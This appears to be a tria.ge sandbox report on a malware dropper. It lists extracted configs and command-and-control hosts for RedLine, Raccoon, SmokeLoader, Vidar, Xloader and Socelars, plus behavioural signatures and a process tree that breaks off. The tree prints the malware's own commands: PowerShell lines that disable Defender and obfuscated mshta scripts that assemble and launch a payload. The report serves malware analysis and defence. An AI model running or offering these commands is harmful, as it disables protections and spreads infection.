Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows10_x64
7f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
43s -
max time network
781s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
08/11/2021, 15:26
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211104
Behavioral task
behavioral2
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral3
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211104
Behavioral task
behavioral4
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211014
Behavioral task
behavioral5
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211104
Behavioral task
behavioral6
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral7
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211104
Behavioral task
behavioral8
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211104
Behavioral task
behavioral9
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211014
Behavioral task
behavioral10
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
General
-
Target
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Malware Config
Extracted
socelars
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
raccoon
2f2ad1a1aa093c5a9d17040c8efd5650a99640b5
-
url4cnc
http://telegatt.top/oh12manymarty
http://telegka.top/oh12manymarty
http://telegin.top/oh12manymarty
https://t.me/oh12manymarty
Extracted
redline
media18
91.121.67.60:2151
Extracted
redline
fucker2
135.181.129.119:4805
Extracted
redline
Chris
194.104.136.5:46013
Extracted
smokeloader
2020
http://directorycart.com/upload/
http://tierzahnarzt.at/upload/
http://streetofcards.com/upload/
http://ycdfzd.com/upload/
http://successcoachceo.com/upload/
http://uhvu.cn/upload/
http://japanarticle.com/upload/
Extracted
vidar
47.9
937
https://mas.to/@kirpich
-
profile_id
937
Extracted
xloader
2.5
s0iw
http://www.kyiejenner.com/s0iw/
ortopediamodelo.com
orimshirts.store
universecatholicweekly.info
yvettechan.com
sersaudavelsempre.online
face-booking.net
europeanretailgroup.com
umofan.com
roemahbajumuslim.online
joyrosecuisine.net
3dmaker.house
megdb.xyz
stereoshopie.info
gv5rm.com
tdc-trust.com
mcglobal.club
choral.works
onlineconsultantgroup.com
friscopaintandbody.com
midwestii.com
weespiel.com
babyshell.be
gwynora.com
talkthered.com
f-punk.com
frankmatlock.com
clique-solicite.net
clientloyaltysystem.com
worldbyduco.com
kampfsport-erfurt.com
adndpanel.xyz
rocknfamily.net
ambr-creative.com
wwwks8829.com
thuexegiarehcmgoviet.com
brentmurrell.art
wolf-yachts.com
tenpobiz.com
binnamall.com
crestamarti.quest
terry-hitchcock.com
ocreverseteam.com
taxwarehouse2.xyz
megawholesalesystem.com
epstein-advisory.com
enewlaunches.com
iphone13.community
pianostands.com
newspaper.clinic
alamdave.com
costalitaestepona2d.com
arbacan.com
horikoshi-online-tutoring.net
missingthered.com
ecmcenterprises.com
giaohangtietkiemhcm.com
universidademackenzie.com
kveupcsmimli.mobi
ibellex.com
ikigaiofficial.store
jerseyboysnorfolk.com
xiamensaikang.com
lmnsky.com
bra866.com
Signatures
-
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Process spawned unexpected child process 6 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4676 4476 rundll32.exe 121 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6168 4476 rundll32.exe 121 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8048 4476 rundll32.exe 121 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5896 4476 rundll32.exe 121 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 10112 4476 rundll32.exe 121 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 10152 4476 rundll32.exe 121 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 8 IoCs
resource yara_rule behavioral5/memory/2020-257-0x000000000041B242-mapping.dmp family_redline behavioral5/memory/3208-259-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral5/memory/3208-264-0x000000000041B23E-mapping.dmp family_redline behavioral5/memory/1420-263-0x000000000041B23E-mapping.dmp family_redline behavioral5/memory/1420-258-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral5/memory/2020-256-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral5/memory/2020-292-0x0000000004C80000-0x0000000005286000-memory.dmp family_redline behavioral5/memory/1420-294-0x0000000004ED0000-0x00000000054D6000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral5/files/0x000600000001abd4-197.dat family_socelars behavioral5/files/0x000600000001abd4-219.dat family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
description pid Process procid_target PID 4424 created 2144 4424 WerFault.exe 102 -
Vidar Stealer 2 IoCs
resource yara_rule behavioral5/memory/4788-536-0x00000000021F0000-0x00000000022C6000-memory.dmp family_vidar behavioral5/memory/4788-538-0x0000000000400000-0x00000000004D9000-memory.dmp family_vidar -
Xloader Payload 1 IoCs
resource yara_rule behavioral5/memory/5152-561-0x0000000002930000-0x0000000002959000-memory.dmp xloader -
resource yara_rule behavioral5/files/0x000600000001abb4-128.dat aspack_v212_v242 behavioral5/files/0x000600000001abb4-127.dat aspack_v212_v242 behavioral5/files/0x000400000001abc6-126.dat aspack_v212_v242 behavioral5/files/0x000400000001abc6-131.dat aspack_v212_v242 behavioral5/files/0x000400000001abc8-132.dat aspack_v212_v242 behavioral5/files/0x000400000001abc8-133.dat aspack_v212_v242 -
Blocklisted process makes network request 1 IoCs
flow pid Process 63 3184 msiexec.exe -
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 25 IoCs
pid Process 2836 setup_installer.exe 288 setup_install.exe 3184 Tue2082eedf21.exe 788 Tue200ab8d408d.exe 3372 Tue20adee3c26d.exe 2096 Tue201d50e7015.exe 2144 Tue20d8f1968de62f282.exe 1220 Tue2076b72c2666aa9c.exe 1524 Tue202dc71d1d41.exe 2148 Tue20ea834764a6.exe 3068 Tue2082ea84bd.exe 2136 Tue207c76c7f37.exe 2432 Tue20abd30733a17.exe 3048 Tue203dd57461.exe 3004 Tue20c79bfdadc.exe 2848 Tue2095db5b6bd7.exe 2124 Tue201d50e7015.tmp 1124 Tue205724605816e79.exe 2020 Tue2082ea84bd.exe 1420 Tue20c79bfdadc.exe 3208 Tue207c76c7f37.exe 2688 Tue201d50e7015.exe 600 Tue201d50e7015.tmp 4132 1863108.exe 4368 8864439.exe -
Modifies Windows Firewall 1 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Control Panel\International\Geo\Nation Tue2076b72c2666aa9c.exe -
Loads dropped DLL 7 IoCs
pid Process 288 setup_install.exe 288 setup_install.exe 288 setup_install.exe 288 setup_install.exe 288 setup_install.exe 2124 Tue201d50e7015.tmp 600 Tue201d50e7015.tmp -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 5388 icacls.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 15 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 238 ipinfo.io 288 ipinfo.io 403 ipinfo.io 55 ipinfo.io 57 ip-api.com 289 ipinfo.io 483 ipinfo.io 2864 api.2ip.ua 2890 api.2ip.ua 64 ipinfo.io 804 ipinfo.io 805 ipinfo.io 3732 api.2ip.ua 56 ipinfo.io 404 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 3068 set thread context of 2020 3068 Tue2082ea84bd.exe 109 PID 3004 set thread context of 1420 3004 Tue20c79bfdadc.exe 111 PID 2136 set thread context of 3208 2136 Tue207c76c7f37.exe 110 -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 5 IoCs
pid pid_target Process procid_target 3524 288 WerFault.exe 69 4424 2144 WerFault.exe 102 5368 5276 WerFault.exe 142 1044 5328 WerFault.exe 164 2568 4788 WerFault.exe 133 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Tue205724605816e79.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Tue205724605816e79.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Tue205724605816e79.exe -
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5080 schtasks.exe 4820 schtasks.exe 6348 schtasks.exe 6328 schtasks.exe 3048 schtasks.exe -
Delays execution with timeout.exe 3 IoCs
pid Process 5312 timeout.exe 5984 timeout.exe 6044 timeout.exe -
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 12924 ipconfig.exe -
Kills process with taskkill 17 IoCs
pid Process 7012 taskkill.exe 7312 taskkill.exe 7720 taskkill.exe 9312 taskkill.exe 5304 taskkill.exe 5708 taskkill.exe 7156 taskkill.exe 4416 taskkill.exe 7036 taskkill.exe 11736 taskkill.exe 6688 taskkill.exe 7812 taskkill.exe 7288 taskkill.exe 5000 taskkill.exe 2900 taskkill.exe 6756 taskkill.exe 7212 taskkill.exe -
Runs ping.exe 1 TTPs 3 IoCs
pid Process 11448 PING.EXE 7312 PING.EXE 12956 PING.EXE -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 27 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 3524 WerFault.exe 1160 powershell.exe 1160 powershell.exe 1160 powershell.exe 1160 powershell.exe 1124 Tue205724605816e79.exe 1124 Tue205724605816e79.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe 1220 Tue2076b72c2666aa9c.exe -
Suspicious use of AdjustPrivilegeToken 41 IoCs
description pid Process Token: SeDebugPrivilege 2432 Tue20abd30733a17.exe Token: SeCreateTokenPrivilege 2848 Tue2095db5b6bd7.exe Token: SeAssignPrimaryTokenPrivilege 2848 Tue2095db5b6bd7.exe Token: SeLockMemoryPrivilege 2848 Tue2095db5b6bd7.exe Token: SeIncreaseQuotaPrivilege 2848 Tue2095db5b6bd7.exe Token: SeMachineAccountPrivilege 2848 Tue2095db5b6bd7.exe Token: SeTcbPrivilege 2848 Tue2095db5b6bd7.exe Token: SeSecurityPrivilege 2848 Tue2095db5b6bd7.exe Token: SeTakeOwnershipPrivilege 2848 Tue2095db5b6bd7.exe Token: SeLoadDriverPrivilege 2848 Tue2095db5b6bd7.exe Token: SeSystemProfilePrivilege 2848 Tue2095db5b6bd7.exe Token: SeSystemtimePrivilege 2848 Tue2095db5b6bd7.exe Token: SeProfSingleProcessPrivilege 2848 Tue2095db5b6bd7.exe Token: SeIncBasePriorityPrivilege 2848 Tue2095db5b6bd7.exe Token: SeCreatePagefilePrivilege 2848 Tue2095db5b6bd7.exe Token: SeCreatePermanentPrivilege 2848 Tue2095db5b6bd7.exe Token: SeBackupPrivilege 2848 Tue2095db5b6bd7.exe Token: SeRestorePrivilege 2848 Tue2095db5b6bd7.exe Token: SeShutdownPrivilege 2848 Tue2095db5b6bd7.exe Token: SeDebugPrivilege 2848 Tue2095db5b6bd7.exe Token: SeAuditPrivilege 2848 Tue2095db5b6bd7.exe Token: SeSystemEnvironmentPrivilege 2848 Tue2095db5b6bd7.exe Token: SeChangeNotifyPrivilege 2848 Tue2095db5b6bd7.exe Token: SeRemoteShutdownPrivilege 2848 Tue2095db5b6bd7.exe Token: SeUndockPrivilege 2848 Tue2095db5b6bd7.exe Token: SeSyncAgentPrivilege 2848 Tue2095db5b6bd7.exe Token: SeEnableDelegationPrivilege 2848 Tue2095db5b6bd7.exe Token: SeManageVolumePrivilege 2848 Tue2095db5b6bd7.exe Token: SeImpersonatePrivilege 2848 Tue2095db5b6bd7.exe Token: SeCreateGlobalPrivilege 2848 Tue2095db5b6bd7.exe Token: 31 2848 Tue2095db5b6bd7.exe Token: 32 2848 Tue2095db5b6bd7.exe Token: 33 2848 Tue2095db5b6bd7.exe Token: 34 2848 Tue2095db5b6bd7.exe Token: 35 2848 Tue2095db5b6bd7.exe Token: SeRestorePrivilege 3524 WerFault.exe Token: SeBackupPrivilege 3524 WerFault.exe Token: SeDebugPrivilege 3048 schtasks.exe Token: SeDebugPrivilege 3524 WerFault.exe Token: SeDebugPrivilege 1160 powershell.exe Token: SeDebugPrivilege 4424 WerFault.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2576 wrote to memory of 2836 2576 a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe 68 PID 2576 wrote to memory of 2836 2576 a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe 68 PID 2576 wrote to memory of 2836 2576 a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe 68 PID 2836 wrote to memory of 288 2836 setup_installer.exe 69 PID 2836 wrote to memory of 288 2836 setup_installer.exe 69 PID 2836 wrote to memory of 288 2836 setup_installer.exe 69 PID 288 wrote to memory of 1688 288 setup_install.exe 72 PID 288 wrote to memory of 1688 288 setup_install.exe 72 PID 288 wrote to memory of 1688 288 setup_install.exe 72 PID 288 wrote to memory of 3976 288 setup_install.exe 73 PID 288 wrote to memory of 3976 288 setup_install.exe 73 PID 288 wrote to memory of 3976 288 setup_install.exe 73 PID 288 wrote to memory of 3056 288 setup_install.exe 74 PID 288 wrote to memory of 3056 288 setup_install.exe 74 PID 288 wrote to memory of 3056 288 setup_install.exe 74 PID 288 wrote to memory of 2720 288 setup_install.exe 75 PID 288 wrote to memory of 2720 288 setup_install.exe 75 PID 288 wrote to memory of 2720 288 setup_install.exe 75 PID 288 wrote to memory of 2696 288 setup_install.exe 77 PID 288 wrote to memory of 2696 288 setup_install.exe 77 PID 288 wrote to memory of 2696 288 setup_install.exe 77 PID 1688 wrote to memory of 1160 1688 cmd.exe 76 PID 1688 wrote to memory of 1160 1688 cmd.exe 76 PID 1688 wrote to memory of 1160 1688 cmd.exe 76 PID 3976 wrote to memory of 1364 3976 cmd.exe 81 PID 3976 wrote to memory of 1364 3976 cmd.exe 81 PID 3976 wrote to memory of 1364 3976 cmd.exe 81 PID 288 wrote to memory of 4088 288 setup_install.exe 78 PID 288 wrote to memory of 4088 288 setup_install.exe 78 PID 288 wrote to memory of 4088 288 setup_install.exe 78 PID 288 wrote to memory of 1172 288 setup_install.exe 80 PID 288 wrote to memory of 1172 288 setup_install.exe 80 PID 288 wrote to memory of 1172 288 setup_install.exe 80 PID 288 wrote to memory of 680 288 setup_install.exe 79 PID 288 wrote to memory of 680 288 setup_install.exe 79 PID 288 wrote to memory of 680 288 setup_install.exe 79 PID 288 wrote to memory of 1128 288 setup_install.exe 82 PID 288 wrote to memory of 1128 288 setup_install.exe 82 PID 288 wrote to memory of 1128 288 setup_install.exe 82 PID 288 wrote to memory of 1084 288 setup_install.exe 84 PID 288 wrote to memory of 1084 288 setup_install.exe 84 PID 288 wrote to memory of 1084 288 setup_install.exe 84 PID 288 wrote to memory of 672 288 setup_install.exe 83 PID 288 wrote to memory of 672 288 setup_install.exe 83 PID 288 wrote to memory of 672 288 setup_install.exe 83 PID 2696 wrote to memory of 3184 2696 cmd.exe 87 PID 2696 wrote to memory of 3184 2696 cmd.exe 87 PID 2696 wrote to memory of 3184 2696 cmd.exe 87 PID 288 wrote to memory of 3376 288 setup_install.exe 86 PID 288 wrote to memory of 3376 288 setup_install.exe 86 PID 288 wrote to memory of 3376 288 setup_install.exe 86 PID 3056 wrote to memory of 788 3056 cmd.exe 85 PID 3056 wrote to memory of 788 3056 cmd.exe 85 PID 3056 wrote to memory of 788 3056 cmd.exe 85 PID 288 wrote to memory of 868 288 setup_install.exe 88 PID 288 wrote to memory of 868 288 setup_install.exe 88 PID 288 wrote to memory of 868 288 setup_install.exe 88 PID 288 wrote to memory of 1944 288 setup_install.exe 108 PID 288 wrote to memory of 1944 288 setup_install.exe 108 PID 288 wrote to memory of 1944 288 setup_install.exe 108 PID 1172 wrote to memory of 3372 1172 cmd.exe 107 PID 1172 wrote to memory of 3372 1172 cmd.exe 107 PID 1172 wrote to memory of 3372 1172 cmd.exe 107 PID 2720 wrote to memory of 2096 2720 cmd.exe 103
Processes
-
C:\Users\Admin\AppData\Local\Temp\a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe"C:\Users\Admin\AppData\Local\Temp\a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2576 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:288 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1160
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:3976 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵PID:1364
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue200ab8d408d.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3056 -
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue200ab8d408d.exeTue200ab8d408d.exe5⤵
- Executes dropped EXE
PID:788
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue201d50e7015.exe4⤵
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue201d50e7015.exeTue201d50e7015.exe5⤵
- Executes dropped EXE
PID:2096 -
C:\Users\Admin\AppData\Local\Temp\is-ORQMS.tmp\Tue201d50e7015.tmp"C:\Users\Admin\AppData\Local\Temp\is-ORQMS.tmp\Tue201d50e7015.tmp" /SL5="$40148,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue201d50e7015.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2124 -
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue201d50e7015.exe"C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue201d50e7015.exe" /SILENT7⤵
- Executes dropped EXE
PID:2688 -
C:\Users\Admin\AppData\Local\Temp\is-HAO73.tmp\Tue201d50e7015.tmp"C:\Users\Admin\AppData\Local\Temp\is-HAO73.tmp\Tue201d50e7015.tmp" /SL5="$101FE,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue201d50e7015.exe" /SILENT8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:600
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue2082eedf21.exe /mixone4⤵
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue2082eedf21.exeTue2082eedf21.exe /mixone5⤵
- Executes dropped EXE
PID:3184 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Tue2082eedf21.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue2082eedf21.exe" & exit6⤵PID:4844
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Tue2082eedf21.exe" /f7⤵
- Kills process with taskkill
PID:4416
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue207c76c7f37.exe4⤵PID:4088
-
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue207c76c7f37.exeTue207c76c7f37.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2136 -
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue207c76c7f37.exeC:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue207c76c7f37.exe6⤵
- Executes dropped EXE
PID:3208
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20ea834764a6.exe4⤵PID:680
-
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue20ea834764a6.exeTue20ea834764a6.exe5⤵
- Executes dropped EXE
PID:2148
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20adee3c26d.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1172 -
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue20adee3c26d.exeTue20adee3c26d.exe5⤵
- Executes dropped EXE
PID:3372 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBScRiPt: cLOsE(CREaTeOBject ("WSCRipt.sHEll" ). Run ( "CMd /r tYpE ""C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue20adee3c26d.exe"" > ..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs & If """"== """" for %Y In ( ""C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue20adee3c26d.exe"") do taskkill /IM ""%~nXY"" -f" , 0, tRUE ) )6⤵PID:2240
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r tYpE "C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue20adee3c26d.exe" >..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs& If ""== "" for %Y In ( "C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue20adee3c26d.exe") do taskkill /IM "%~nXY" -f7⤵PID:4252
-
C:\Users\Admin\AppData\Local\Temp\_4SO.EXE..\_4SO.Exe /PZOIMJIYi~u3pALhs8⤵PID:4760
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBScRiPt: cLOsE(CREaTeOBject ("WSCRipt.sHEll" ). Run ( "CMd /r tYpE ""C:\Users\Admin\AppData\Local\Temp\_4SO.EXE"" > ..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs & If ""/PZOIMJIYi~u3pALhs""== """" for %Y In ( ""C:\Users\Admin\AppData\Local\Temp\_4SO.EXE"") do taskkill /IM ""%~nXY"" -f" , 0, tRUE ) )9⤵PID:2812
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r tYpE "C:\Users\Admin\AppData\Local\Temp\_4SO.EXE" >..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs& If "/PZOIMJIYi~u3pALhs"== "" for %Y In ( "C:\Users\Admin\AppData\Local\Temp\_4SO.EXE") do taskkill /IM "%~nXY" -f10⤵PID:2400
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBsCripT: clOsE ( crEatEobJECT( "WSCRIPt.SHELL" ).RUn( "cMD.exE /q /C ecHo | SET /p = ""MZ"" >5~XZ.D & COpy /y /b 5~xz.D + LaXZ3lI.UF+ 53Bv.3un +3B8VN.JpX ..\WOYVBNM.9 & stArt msiexec -y ..\WOYVBnm.9 & dEL /Q * " , 0 ,tRue ) )9⤵PID:5340
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /C ecHo | SET /p = "MZ" >5~XZ.D&COpy /y /b 5~xz.D + LaXZ3lI.UF+ 53Bv.3un+3B8VN.JpX ..\WOYVBNM.9 & stArt msiexec -y ..\WOYVBnm.9 & dEL /Q *10⤵PID:4624
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ecHo "11⤵PID:6960
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>5~XZ.D"11⤵PID:6516
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -y ..\WOYVBnm.911⤵
- Blocklisted process makes network request
PID:3184
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "Tue20adee3c26d.exe" -f8⤵
- Kills process with taskkill
PID:2900
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20abd30733a17.exe4⤵PID:1128
-
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue20abd30733a17.exeTue20abd30733a17.exe5⤵
- Executes dropped EXE
